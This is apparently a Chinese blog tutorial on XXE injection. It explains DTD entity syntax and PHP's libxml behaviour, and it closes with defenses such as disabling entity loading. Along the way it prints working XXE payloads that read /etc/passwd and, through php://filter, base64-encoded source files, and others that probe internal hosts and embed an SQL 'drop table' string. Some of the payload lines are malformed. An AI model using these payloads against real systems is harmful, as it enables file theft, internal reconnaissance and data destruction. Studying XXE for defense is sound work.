XXE Inject攻击与防御

0x00 前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.

在XML1.0标准⾥里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题.

0x01 简介

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

<!DOCTYPE 根元素 [元素声明]>

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD实体entity,一般分为参数实体(外部实体)和内部实体;参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀;内部实体是指用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用.

<!ENTITY 实体名称 "实体的值">

<!ENTITY 实体名称 SYSTEM "URI">

所以在XML中实体的用法如下:

ENTITY的定义语法:

<!DOCTYPE filename
[  
    <!ENTITY entity-name "entity-content"  
]>

//这就是DTD了

定义好的ENTITY在文档中通过“&实体名;”来使用。
类似于宏定义的一种东西。

0x02 威胁

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为:

xml_parse和simplexml_load

xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.

除PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题.

0x03 语法

举一个简单的例子:

<?php
$fileread = <<<XML
<!-- validators.en.xliff -->
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file://C:/phpStudy/WWW/XXE/file.ext" >]>
<methodname>&xxe;</methodname>
XML;
$data = simplexml_load_string($fileread);
print_r($data);
?>

如果要引用一个外部资源,可以借助各种协议,这里通过file:// 协议引入了外部实体.

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

也可读取网站内容

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://byd.dropsec.xyz/robots.txt" >]>
<methodname>&xxe;</methodname>

通过上面可以用来内网探测,如果安装了expect扩展组件甚至可以用来进行内网渗透。

如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodname>&xxe;</methodname>

内部实体的这支持与否也是取决于解释器的。不同的浏览器不一样,不通语言默认也不一样。所以利用比较困难。

但实际上XML外部实体的解析,和php版本并无关系,而是和编译时的libxml库版本有关。

0x04 攻击

1.拒绝服务

POC

2.内网信息

借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息.

<!ELEMENT portscan SYSTEM 'http://192.168.2.1/' >
<!ELEMENT smb SYSTEM '\\192.168.2.1\c$' >
<!ELEMENT sql SYSTEM 'http://192.168.2.1/index.php?id=1;drop table myweb;#' >

3.文件读取

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodname>&xxe;</methodname>

0x05 防御

1、对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以可以提前加上:

<?php libxml_disable_entity_loader(true); ?>

2、检查所使用的底层xml解析库,默认禁止外部实体的解析.

3、对于XMLReader和DOM方式解析.

<?php 

// with the XMLReader functionality: 

$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); 

// with the DOM functionality: 

$dom = new DOMDocument(); 

$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); 

?>
大爷,赏个铜板呗!